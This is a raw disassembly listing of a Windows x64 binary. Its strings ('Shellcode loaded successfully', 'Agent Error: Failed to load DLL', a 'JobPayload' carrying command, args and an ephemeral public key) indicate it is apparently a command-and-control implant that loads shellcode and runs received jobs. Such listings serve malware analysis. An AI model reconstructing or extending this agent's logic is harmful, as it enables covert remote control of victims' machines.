mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
mov rsi, qword [rax + 0x28]
mov rcx, r13
call fcn.1400355ed
lea rcx, [rsp + 0x5c8]
call fcn.140035fb9
test rbx, rbx
je 0x1400480c4
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rsi
jmp 0x140044c77
push 0x1f
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [str.Shellcode_loaded_successfully__n_Agent_Error_:_Failed_to_allocate_memory__n_Agent_Error_:_Failed_to_find_function__n_Agent_Error_:_Failed_to_load_DLL__n]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019ceaf]
movups xmmword [rax + 0xf], xmm0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], 0x1f
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x360]
call fcn.1400355ed
lea rcx, [rsp + 0x368]
call fcn.140035fb9
lea rdi, [rsp + 0x12f8]
lea rsi, [rsp + 0xf0]
jmp 0x140045f6c
mov qword [rsp + 0xdc0], 4
lea rdx, [rsp + 0xdc0]
lea rsi, [rsp + 0x360]
jmp 0x140044daf
mov byte [rsi + 0x4e], 1
lea r14, [rsp + 0xbd0]
mov rcx, r14
call fcn.1400d4e8d
mov rcx, rax
call fcn.1400da2f8
mov edi, eax
mov ebx, edx
mov eax, dword [rsi + 0x48]
mov dword [rsp + 0x5c8], eax
mov rax, qword [rsi + 0x40]
mov qword [rsp + 0x5c0], rax
mov rcx, r13
call fcn.1400363d0
mov dword [rsp + 0xdc0], eax
mov dword [rsp + 0xdc4], edx
lea rcx, [rsp + 0xdc0]
mov edx, edi
mov r8d, ebx
call fcn.1400da390
mov edi, eax
mov ebx, edx
mov rax, qword [rsp + 0xdc0]
mov dword [rsi + 0x40], 1
mov qword [rsi + 0x44], rax
call fcn.140001084
mov rcx, r13
mov rdx, rsi
mov r8, r14
lea r14, [rsp + 0xa0]
call fcn.1400d2458
mov dword [rsp + 0x5d8], edi
lea rdi, [rsp + 0x12f8]
mov dword [rsp + 0x5dc], ebx
lea rsi, [rsp + 0x360]
mov rax, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5c8]
mov rdx, qword [rsp + 0x5d0]
mov qword [rsp + 0xdd0], rdx
mov edx, dword [rsp + 0x5d8]
mov dword [rsp + 0xdd8], edx
mov edx, dword [rsp + 0x5dc]
mov dword [rsp + 0xddc], edx
mov qword [rsp + 0xdc0], rax
mov qword [rsp + 0xdc8], rcx
lea rdx, [rsp + 0xdc0]
lea rcx, [rsp + 0x440]
call fcn.140036437
cmp dword [rsp + 0x440], 3
je 0x14004812f
movups xmm0, xmmword [rsp + 0x440]
movups xmm1, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0x370], xmm1
movaps xmmword [rsp + 0x360], xmm0
lea rax, [rsp + 0xab0]
mov qword [rsp + 0xdc0], rax
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0xdc8], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0xdd0], rax
mov byte [rsp + 0xdd9], 0
call fcn.140001084
lea rcx, [rsp + 0x6f]
call fcn.1400d1c4c
test rax, rax
je 0x140044f35
mov qword [rsp + 0x500], rax
mov qword [rsp + 0x508], rdx
lea rax, [rsp + 0x500]
mov qword [rsp + 0x260], rax
mov r8d, 0x210
mov rcx, r13
lea rdx, [rsp + 0xdc0]
call sub.VCRUNTIME140.dll_memcpy
call fcn.1400d198e
mov esi, eax
mov ebx, edx
call fcn.140038b82
test rax, rax
je 0x140044e96
and sil, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], sil
mov byte [rax + 0x4d], bl
jmp 0x140044e98
mov cl, 2
mov byte [rsp + 0x2e0], cl
mov byte [rsp + 0x2e1], dl
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
mov rdx, r13
lea r8, [rsp + 0x260]
call fcn.140049518
lea rcx, [rsp + 0x2e0]
call fcn.1400354f1
cmp qword [rsp + 0x1e0], 0
lea rsi, [rsp + 0x360]
jne 0x140044ef8
mov rcx, rbx
call fcn.140035905
lea rcx, [rsp + 0x6f]
call fcn.1400d1c84
jmp 0x140044e70
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x2f0], rax
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x2e0], xmm0
mov rcx, r13
call fcn.140035e53
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x508]
call qword [rax + 0x18]
jmp 0x140044f4b
and qword [rsp + 0x2e0], 0
lea rcx, [rsp + 0xdc0]
call fcn.140035e53
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x2e0]
call fcn.1400364cd
mov rcx, rsi
call fcn.140035c21
lea rsi, [rsp + 0xf0]
jmp 0x140045f42
push 0x29
pop rcx
xor edx, edx
call fcn.14005453e
movups xmm0, xmmword [0x14019cde8]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14019cdf8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14019ce01]
movups xmmword [rax + 0x19], xmm0
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], 0x29
lea rcx, [rsp + 0x2e0]
call fcn.140035872
lea rcx, [rsp + 0x500]
call fcn.14003584d
lea rsi, [rsp + 0xf0]
lea rcx, [rsp + 0x260]
call fcn.140035b7e
mov rcx, rsi
call fcn.14003584d
mov al, 1
mov dword [rsp + 0x70], eax
xor r14d, r14d
jmp 0x140046963
mov r8d, 0x180
mov rcx, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x740], rbx
mov qword [rsp + 0x748], rdi
mov qword [rsp + 0x750], rsi
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x758], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x760], rax
mov byte [rsp + 0x76b], 0
call fcn.140038b82
test rax, rax
je 0x140045f9a
mov rsi, rax
mov cl, byte [rax + 0x4e]
call fcn.1400d2601
test al, al
je 0x1400460c6
mov qword [rsp + 0xdc0], 3
jmp 0x140046164
mov qword [rsp + 0x360], 4
lea rcx, [rsp + 0x260]
jmp 0x1400451a6
mov byte [rsi + 0x4e], 0
lea r15, [rsp + 0xbd0]
mov rcx, r15
call fcn.1400d4e8d
mov rcx, rax
call fcn.1400da2f8
mov edi, eax
mov ebx, edx
mov eax, dword [rsi + 0x48]
mov dword [rsp + 0xdc8], eax
mov rax, qword [rsi + 0x40]
mov qword [rsp + 0xdc0], rax
lea r14, [rsp + 0xdc0]
mov rcx, r14
call fcn.1400363d0
mov dword [rsp + 0x360], eax
mov dword [rsp + 0x364], edx
lea rcx, [rsp + 0x360]
mov edx, edi
mov r8d, ebx
call fcn.1400da390
mov edi, eax
mov ebx, edx
mov rax, qword [rsp + 0x360]
mov dword [rsi + 0x40], 1
mov qword [rsi + 0x44], rax
call fcn.140001084
mov rcx, r14
mov rdx, rsi
mov r8, r15
lea r15, [rsp + 0x2d0]
call fcn.1400d2458
mov dword [rsp + 0xdd8], edi
lea rdi, [rsp + 0x12f8]
mov dword [rsp + 0xddc], ebx
lea rbx, [rsp + 0xba8]
lea rcx, [rsp + 0x260]
mov rax, qword [rsp + 0xdc0]
mov r8, qword [rsp + 0xdc8]
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x370], rdx
mov edx, dword [rsp + 0xdd8]
mov dword [rsp + 0x378], edx
mov edx, dword [rsp + 0xddc]
mov dword [rsp + 0x37c], edx
mov qword [rsp + 0x360], rax
mov qword [rsp + 0x368], r8
lea rdx, [rsp + 0x360]
call fcn.140036437
cmp dword [rsp + 0x260], 3
je 0x1400480f7
movups xmm0, xmmword [rsp + 0x260]
movups xmm1, xmmword [rsp + 0x270]
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
lea rcx, [rsp + 0xbd0]
call fcn.1400d4eab
mov rsi, rax
lea r14, [rsp + 0x360]
mov rcx, r14
mov rdx, rbx
mov r8, rsi
call fcn.1400d343d
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x78], rax
cmp rax, 2
jne 0x140045461
lea rcx, [rsp + 0x440]
mov rdx, rbx
call fcn.1400d8fe0
movups xmm0, xmmword [rsp + 0x440]
movups xmm1, xmmword [rsp + 0x450]
movups xmm2, xmmword [rsp + 0x460]
movups xmm3, xmmword [rsp + 0x470]
movaps xmmword [rsp + 0xdf0], xmm3
movaps xmmword [rsp + 0xde0], xmm2
movaps xmmword [rsp + 0xdd0], xmm1
movaps xmmword [rsp + 0xdc0], xmm0
lea rax, [rsp + 0xdc0]
mov qword [rsp + 0xd0], rax
call fcn.140001084
lea rcx, [rsp + 0x6f]
call fcn.1400d1c4c
test rax, rax
lea r14, [rsp + 0xb8]
je 0x140045404
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rdx
lea rax, [rsp + 0x150]
mov qword [rsp + 0xb8], rax
call fcn.1400d198e
mov edi, eax
mov ebx, edx
call fcn.140038b82
test rax, rax
je 0x1400452e4
and dil, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], dil
mov byte [rax + 0x4d], bl
jmp 0x1400452e6
mov cl, 2
mov byte [rsp + 0x2d0], cl
mov byte [rsp + 0x2d1], dl
lea rcx, [rsp + 0xd0]
call fcn.1400a786e
mov rcx, rax
mov rdx, r14
call fcn.1400d9597
test al, al
lea rdi, [rsp + 0x12f8]
je 0x14004536b
lea r15, [rsp + 0xf0]
mov rcx, r15
mov rdx, r13
mov r8, r14
call fcn.140049518
cmp qword [rsp + 0xf0], 0
lea rbx, [rsp + 0xba8]
je 0x14004537d
mov rax, qword [rsp + 0x100]
lea rcx, [rsp + 0x1e8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0xf0]
movups xmmword [rcx], xmm0
and qword [rsp + 0x1e0], 0
jmp 0x140045391
movaps xmmword [rsp + 0x1e0], xmm6
lea rbx, [rsp + 0xba8]
jmp 0x140045399
mov rcx, r15
call fcn.140035905
mov qword [rsp + 0x1e0], 1
lea r15, [rsp + 0x2d0]
mov rcx, r15
call fcn.1400354f1
cmp qword [rsp + 0x1e0], 0
je 0x1400453c8
lea rcx, [rsp + 0x1e0]
call fcn.140035258
lea rcx, [rsp + 0x6f]
call fcn.1400d1c84
jmp 0x1400452be
lea rcx, [rsp + 0x1e8]
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x2e8]
mov qword [rdx + 0x10], rax
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
and qword [rsp + 0x2e0], 0
mov rax, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
call qword [rax + 0x18]
jmp 0x140045410
mov qword [rsp + 0x2e0], 1
lea r14, [rsp + 0x170]
mov rcx, r14
lea rdx, [rsp + 0x2e0]
call fcn.140036481
cmp qword [rsp + 0x170], 0
jne 0x1400457be
lea rcx, [rsp + 0xdc0]
call fcn.140035910
mov rcx, r14
call fcn.140035905
lea r14, [rsp + 0x360]
mov rcx, r14
call fcn.140035268
jmp 0x1400451f9
push 9
pop rcx
lea rbx, [rsp + 0xdc0]
mov rdi, rbx
lea rsi, [rsp + 0x360]
rep movsq qword [rdi], qword [rsi]
mov rcx, rbx
lea rdx, [0x14019bbf0]
call fcn.1400d4ef8
mov rsi, rax
lea rcx, [rax + 8]
mov qword [rsp + 0x70], rcx
lea rdx, [0x14019bc08]
call fcn.14003613b
mov rdi, rdx
mov r14, qword [rax]
and qword [rax], 0
mov rcx, r14
lea rdx, [0x14019bc20]
call fcn.1400363ec
inc qword [rdi]
mov rdi, rsi
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], r13
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x1f8], rsi
call fcn.140038b82
test rax, rax
je 0x140045e4a
mov rcx, rax
add rcx, 0x38
mov rdx, qword [rax + 0x38]
mov qword [rax + 0x38], rbx
mov qword [rsp + 0xb8], rcx
mov qword [rsp + 0xc0], rdx
mov rcx, rdi
call fcn.1400d39f2
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rdx
lea rcx, [rsp + 0x150]
call fcn.14005422f
mov qword [rsp + 0xd0], rax
mov rcx, r14
call fcn.140001084
mov rax, rdi
add rax, 0x18
mov qword [rsp + 0x4f8], rax
lea rsi, [rsp + 0xf0]
mov qword [rsp + 0x358], rdi
mov rcx, qword [rdi]
add rcx, 0x10
call fcn.1400d3a08
test al, al
je 0x140045665
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14019bb98]
call fcn.14003613b
mov rdi, rax
mov rbx, r14
mov r14, rdx
mov rcx, rax
call fcn.140035408
mov qword [rdi], rbx
inc qword [r14]
call fcn.1400d198e
mov r14d, eax
mov ebx, edx
call fcn.140038b82
test rax, rax
je 0x1400455c4
and r14b, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], r14b
mov byte [rax + 0x4d], bl
jmp 0x1400455c6
mov cl, 2
mov byte [rsp + 0x170], cl
mov byte [rsp + 0x171], dl
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0xd0]
call fcn.140049518
lea rbx, [rsp + 0x170]
mov rcx, rbx
call fcn.1400354f1
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14019bbb0]
call fcn.14003613b
mov rdi, rdx
mov r14, qword [rax]
and qword [rax], 0
mov rcx, r14
lea rdx, [0x14019bbd8]
call fcn.1400363ec
inc qword [rdi]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x180], rax
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x170], xmm0
mov rsi, qword [rsp + 0x170]
test rsi, rsi
jne 0x14004765a
mov rcx, rbx
call fcn.140035905
mov rdi, qword [rsp + 0x358]
mov rax, qword [rdi]
mov ebx, dword [rax + 0x58]
sub ebx, 1
jb 0x14004575d
cmp byte [r14 + 0x68], 0
jne 0x1400457f0
mov rcx, r14
call fcn.1400d35cd
mov rdx, qword [rdi]
add rdx, 0x10
mov rcx, r14
call fcn.1400d35d1
test rax, rax
je 0x14004576e
mov r15, rax
mov rcx, r14
call fcn.140001084
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14019bb98]
call fcn.14003613b
mov rdi, rax
mov rsi, rdx
mov rcx, rax
call fcn.140035408
mov qword [rdi], r14
inc qword [rsi]
call fcn.1400d198e
mov edi, eax
mov esi, edx
call fcn.140038b82
test rax, rax
je 0x1400456f6
and dil, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], dil
mov byte [rax + 0x4d], sil
jmp 0x1400456f8
mov cl, 2
mov byte [rsp + 0xf0], cl
mov byte [rsp + 0xf1], dl
mov rcx, r15
call fcn.14008728b
lea rcx, [rsp + 0xf0]
call fcn.1400354f1
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14019bbb0]
call fcn.14003613b
mov rsi, rdx
mov r14, qword [rax]
and qword [rax], 0
mov rcx, r14
lea rdx, [0x14019bbd8]
call fcn.1400363ec
inc qword [rsi]
mov rcx, r14
call fcn.140001084
mov rdi, qword [rsp + 0x358]
jmp 0x14004566b
mov rcx, r14
call fcn.140001084
mov r8, qword [rdi]
add r8, 0x10
jmp 0x14004579b
mov rcx, r14
call fcn.140001084
mov rcx, qword [rsp + 0x4f8]
call fcn.1400d3cdd
mov r8, qword [rdi]
add r8, 0x10
test al, al
je 0x14004579b
mov rcx, rdi
mov rdx, r14
call fcn.1400d3656
jmp 0x1400457a6
mov rcx, rdi
mov rdx, r14
call fcn.1400d376c
mov r14, rax
lea rsi, [rsp + 0xf0]
mov rcx, rax
call fcn.140001084
jmp 0x140045561
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0xdc0]
call fcn.140035910
jmp 0x140045ef9
xor esi, esi
lea rdi, [rsp + 0x440]
lea rcx, [rsp + 0xb8]
call fcn.1400d3101
mov qword [rsp + 0x440], r14
mov qword [rsp + 0x448], rsi
movaps xmm0, xmmword [rsp + 0xf0]
lea rax, [rsp + 0x450]
movups xmmword [rax], xmm0
jmp 0x140045e68
cmp byte [rsp + 0x441], 0
je 0x140047513
movzx eax, byte [rsp + 0x442]
cmp eax, 0x5b
je 0x140045fab
cmp eax, 0x7b
jne 0x140047673
dec byte [rsp + 0x210]
je 0x140047580
inc qword [rsp + 0x1f0]
and qword [rsp + 0x170], 0
and qword [rsp + 0xf0], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x1b0], rax
mov byte [rsp + 0x1b8], 1
mov r15b, 1
xor edi, edi
lea r14, [rsp + 0x5c0]
lea rbx, [rsp + 0x1e0]
lea rcx, [rsp + 0x260]
mov rdx, rbx
call fcn.140033ab4
cmp byte [rsp + 0x260], 0
jne 0x140047506
cmp byte [rsp + 0x261], 0
je 0x140047822
mov al, byte [rsp + 0x262]
movzx ecx, al
cmp ecx, 0x2c
je 0x1400458fa
cmp ecx, 0x7d
je 0x1400475b4
test dil, 1
je 0x140045948
jmp 0x140047879
test dil, 1
je 0x140045948
inc qword [rsp + 0x1f0]
mov rcx, r14
mov rdx, rbx
call fcn.140033ab4
cmp byte [rsp + 0x5c0], 0
jne 0x14004772e
cmp byte [rsp + 0x5c1], 0
je 0x140047c09
mov al, byte [rsp + 0x5c2]
lea r14, [rsp + 0x5c0]
lea rbx, [rsp + 0x1e0]
jmp 0x140045950
mov byte [rsp + 0x1b8], 0
cmp al, 0x22
jne 0x14004775c
inc qword [rsp + 0x1f0]
and qword [rsp + 0x208], 0
mov rcx, r14
mov rdx, rbx
lea r8, [rsp + 0x1f8]
call fcn.1400a9d92
cmp dword [rsp + 0x5c0], 2
mov rsi, qword [rsp + 0x5c8]
je 0x140047893
mov rdi, qword [rsp + 0x5d0]
mov rcx, rsi
mov rdx, rdi
lea r8, str.commandargsresult_ephemeral_public_keystruct_JobPayload_with_3_elements
push 7
pop r9
call fcn.140054712
test al, al
jne 0x140045a0e
mov rcx, rsi
mov rdx, rdi
lea r8, [0x14019a7d7]
push 4
pop r9
call fcn.140054712
test al, al
jne 0x140045a7b
mov rcx, rsi
mov rdx, rdi
lea r8, [0x14019a7db]
push 0x1b
pop r9
call fcn.140054712
test al, al
jne 0x140045b04
lea rcx, [rsp + 0x1b0]
call fcn.140037eb0
mov dil, 1
test rax, rax
je 0x1400458ab
jmp 0x14004773b
cmp qword [rsp + 0x170], 0
jne 0x140047b60
mov rcx, r14
lea rdx, [rsp + 0x1b0]
call fcn.14003a942
mov rdi, qword [rsp + 0x5c0]
mov rsi, qword [rsp + 0x5c8]
test rdi, rdi
je 0x140047893
mov rbx, qword [rsp + 0x5d0]
lea rcx, [rsp + 0x170]
call fcn.140035905
mov qword [rsp + 0x170], rdi
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rbx
mov dil, 1
jmp 0x1400458a3
cmp qword [rsp + 0xf0], 0
jne 0x140047c1a
mov rcx, rbx
call fcn.140033b44
test rax, rax
jne 0x140047890
lea rcx, [rsp + 0x5c0]
mov rdx, rbx
call fcn.14003f393
mov rdi, qword [rsp + 0x5c0]
mov rsi, qword [rsp + 0x5c8]
test rdi, rdi
je 0x140047893
mov rbx, qword [rsp + 0x5d0]
cmp qword [rsp + 0xf0], 0
je 0x140045ae4
lea rcx, [rsp + 0xf0]
call fcn.140035b7e
mov qword [rsp + 0xf0], rdi
mov qword [rsp + 0xf8], rsi
mov qword [rsp + 0x100], rbx
mov dil, 1
jmp 0x14004589b
test r15b, 1
je 0x140047c5d
lea rcx, [rsp + 0x5c0]
lea rdx, [rsp + 0x1b0]
call fcn.1400381e6
cmp byte [rsp + 0x5c0], 0
jne 0x14004772e
movups xmm8, xmmword [rsp + 0x5c1]
movups xmm9, xmmword [rsp + 0x5d1]
mov dil, 1
xor r15d, r15d
jmp 0x14004589b
mov qword [rsp + 0xdc0], 4
jmp 0x140045c58
mov byte [r14 + 0x4e], 1
lea r15, [rsp + 0x390]
mov rcx, r15
call fcn.1400d4e8d
mov rcx, rax
call fcn.1400da2f8
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x78], edx
mov eax, dword [r14 + 0x48]
mov dword [rsp + 0x5c8], eax
mov rax, qword [r14 + 0x40]
mov qword [rsp + 0x5c0], rax
mov rcx, r13
call fcn.1400363d0
mov dword [rsp + 0xdc0], eax
mov dword [rsp + 0xdc4], edx
lea rcx, [rsp + 0xdc0]
mov edx, dword [rsp + 0x70]
mov r8d, dword [rsp + 0x78]
call fcn.1400da390
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x78], edx
mov rax, qword [rsp + 0xdc0]
mov dword [r14 + 0x40], 1
mov qword [r14 + 0x44], rax
call fcn.140001084
mov rcx, r13
mov rdx, r14
mov r8, r15
call fcn.1400d2458
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x5d8], eax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x5dc], eax
mov rax, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5c8]
mov rdx, qword [rsp + 0x5d0]
mov qword [rsp + 0xdd0], rdx
mov edx, dword [rsp + 0x5d8]
mov dword [rsp + 0xdd8], edx
mov edx, dword [rsp + 0x5dc]
mov dword [rsp + 0xddc], edx
mov qword [rsp + 0xdc0], rax
mov qword [rsp + 0xdc8], rcx
lea rdx, [rsp + 0xdc0]
lea rcx, [rsp + 0x1e0]
mov r14, rdx
call fcn.140036437
cmp dword [rsp + 0x1e0], 3
je 0x14004812f
movups xmm0, xmmword [rsp + 0x1e0]
movups xmm1, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x450], xmm1
movaps xmmword [rsp + 0x440], xmm0
mov r8d, 0x180
mov rcx, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xf40], rbx
mov qword [rsp + 0xf48], rdi
mov qword [rsp + 0xf50], rsi
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xf58], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xf60], rax
mov byte [rsp + 0xf6b], 0
call fcn.140001084
lea rcx, [rsp + 0x6f]
call fcn.1400d1c4c
test rax, rax
je 0x140045e02
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], rdx
lea rax, [rsp + 0x260]
mov qword [rsp + 0xf0], rax
mov r8d, 0x438
mov rcx, r13
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rdi, [rsp + 0x12f8]
lea r14, [rsp + 0xb8]
call fcn.1400d198e
mov esi, eax
mov ebx, edx
call fcn.140038b82
test rax, rax
je 0x140045d6e
and sil, 1
mov cl, byte [rax + 0x4c]
mov dl, byte [rax + 0x4d]
mov byte [rax + 0x4c], sil
mov byte [rax + 0x4d], bl
jmp 0x140045d70
mov cl, 2
mov byte [rsp + 0x500], cl
mov byte [rsp + 0x501], dl
lea rsi, [rsp + 0x2e0]
mov rcx, rsi
mov rdx, r13
lea r8, [rsp + 0xf0]
call fcn.1400481e4
lea rcx, [rsp + 0x500]
call fcn.1400354f1
cmp qword [rsp + 0x2e0], 0
jne 0x140045dc5
mov rcx, rsi
call fcn.140035905
lea rcx, [rsp + 0x6f]
call fcn.1400d1c84
jmp 0x140045d48
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x510], rax
movups xmm0, xmmword [rsp + 0x2e0]
movaps xmmword [rsp + 0x500], xmm0
mov rcx, r13
call fcn.140035cfb
mov rax, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x268]
call qword [rax + 0x18]
jmp 0x140045e23
and qword [rsp + 0x500], 0
mov rcx, r14
call fcn.140035cfb
lea rdi, [rsp + 0x12f8]
lea r14, [rsp + 0xb8]
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x500]
call fcn.1400364cd
lea rcx, [rsp + 0x440]
call fcn.140035c21
jmp 0x14004691b
and qword [rsp + 0x440], 0
lea rcx, [rsp + 0x1f0]
call fcn.140035f1b
lea rdi, [rsp + 0x440]
lea rcx, [rsp + 0x2e0]
mov rdx, rdi
call fcn.140036518
mov r14, qword [rsp + 0x2e0]
mov rbx, qword [rsp + 0x2e8]
lea rax, [rsp + 0x2f0]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1e0], xmm0
mov rcx, qword [rsp + 0x70]
lea rdx, [0x14019bc38]
call fcn.14003613b
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call fcn.140035408
mov qword [rsi], r14
inc qword [rdi]
lea rcx, [rsp + 0xdc0]
call fcn.140035c45
test rbx, rbx
je 0x140048164
mov qword [rsp + 0x80], rbx
movaps xmm0, xmmword [rsp + 0x1e0]
lea rax, [rsp + 0x88]
movups xmmword [rax], xmm0
lea rdi, [rsp + 0x12f8]
lea r14, [rsp + 0xa0]
lea rsi, [rsp + 0xf0]
mov rax, qword [rsp + 0x78]
cmp eax, 2
lea rcx, [rsp + 0x360]
jne 0x140045f2d
mov rax, qword [rsp + 0x360]
cmp eax, 2
je 0x140045f2d
call fcn.140035c45
lea rcx, [rsp + 0x500]
call fcn.140035c21
mov rcx, r13
call fcn.140035e53
mov rcx, r14
call fcn.140035bde
mov rcx, r12
call fcn.14003598e
lea rcx, [rsp + 0xab0]
call fcn.14003584d
lea rcx, [rsp + 0x130]
call fcn.14003584d
xor r14d, r14d
mov dword [rsp + 0x70], 0
jmp 0x140046963
push 1
pop rcx
lea rdx, [0x14019a970]
lea r8, fcn.140001084
call fcn.140188124
mov rsi, rax
jmp 0x140042ba8
mov qword [rsp + 0x440], 4
jmp 0x1400461b8
dec byte [rsp + 0x210]
je 0x140047580
inc qword [rsp + 0x1f0]
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0xd0], rax
mov byte [rsp + 0xd8], 1
lea rcx, [rsp + 0x5c0]
lea rdx, [rsp + 0xd0]
call fcn.14003867c
cmp qword [rsp + 0x5c0], 0
mov rsi, qword [rsp + 0x5c8]
jne 0x140046073
lea rax, [rsp + 0x5e8]
movups xmm0, xmmword [rax - 0x18]
movaps xmmword [rsp + 0x1b0], xmm0
test rsi, rsi
je 0x140047805
movaps xmm0, xmmword [rsp + 0x1b0]
lea rax, [rsp + 0xf8]
movups xmmword [rax], xmm0
mov qword [rsp + 0xf0], rsi
mov rsi, qword [rsp + 0xd0]
lea rcx, [rsp + 0xa0]
mov rdx, rsi
call fcn.140033ab4
cmp byte [rsp + 0xa0], 0
je 0x140047537
mov rsi, qword [rsp + 0xa8]
lea rcx, [rsp + 0xf0]
call fcn.14003584d
xor r14d, r14d
inc byte [rsp + 0x210]
lea rcx, [rsp + 0x1e0]
call fcn.140033c68
mov rdi, rax
mov qword [rsp + 0x5c0], r14
mov qword [rsp + 0x5c8], rsi
mov qword [rsp + 0x5d0], rbx
movaps xmm0, xmmword [rsp + 0x170]
lea rcx, [rsp + 0x5e8]
movups xmmword [rcx - 0x10], xmm0
mov rax, qword [rsp + 0x180]
jmp 0x140047920
mov byte [rsi + 0x4e], 0
lea r15, [rsp + 0x390]
mov rcx, r15
call fcn.1400d4e8d
mov rcx, rax
call fcn.1400da2f8
mov edi, eax
mov ebx, edx
mov eax, dword [rsi + 0x48]
mov dword [rsp + 0xdc8], eax
mov rax, qword [rsi + 0x40]
mov qword [rsp + 0xdc0], rax
lea r14, [rsp + 0xdc0]
mov rcx, r14
call fcn.1400363d0
mov dword [rsp + 0x440], eax
mov dword [rsp + 0x444], edx
lea rcx, [rsp + 0x440]
mov edx, edi
mov r8d, ebx
call fcn.1400da390
mov edi, eax
mov ebx, edx
mov rax, qword [rsp + 0x440]
mov dword [rsi + 0x40], 1
mov qword [rsi + 0x44], rax
call fcn.140001084
mov rcx, r14
mov rdx, rsi
mov r8, r15
call fcn.1400d2458
mov dword [rsp + 0xdd8], edi
mov dword [rsp + 0xddc], ebx
mov rax, qword [rsp + 0xdc0]
mov rcx, qword [rsp + 0xdc8]
mov rdx, qword [rsp + 0xdd0]
mov qword [rsp + 0x450], rdx
mov edx, dword [rsp + 0xdd8]
mov dword [rsp + 0x458], edx
mov edx, dword [rsp + 0xddc]
mov dword [rsp + 0x45c], edx
mov qword [rsp + 0x440], rax
mov qword [rsp + 0x448], rcx
lea r13, [rsp + 0x5c0]
lea r14, [rsp + 0x368]
lea r15, [rsp + 0x508]
lea rdi, [rsp + 0x440]
lea rcx, [rsp + 0xf0]
lea rbx, [rsp + 0x1e0]
mov rdx, rdi
call fcn.140036437
cmp dword [rsp + 0xf0], 3
je 0x140048175
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
lea rcx, [rsp + 0x390]
call fcn.1400d4eab
mov rsi, rax
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call fcn.1400d343d
mov rcx, qword [rsp + 0x440]
mov rax, rcx
mov qword [rsp + 0x70], rcx
cmp rcx, 2
jne 0x140046472
mov rcx, rbx
mov rdx, r14
call fcn.1400d8fe0
movups xmm0, xmmword [rsp + 0x1e0]
movups xmm1, xmmword [rsp + 0x1f0]
movups xmm2, xmmword [rsp + 0x200]
movups xmm3, xmmword [rsp + 0x210]
movaps xmmword [rsp + 0xdf0], xmm3
movaps xmmword [rsp + 0xde0], xmm2
movaps xmmword [rsp + 0xdd0], xmm1
movaps xmmword [rsp + 0xdc0], xmm0
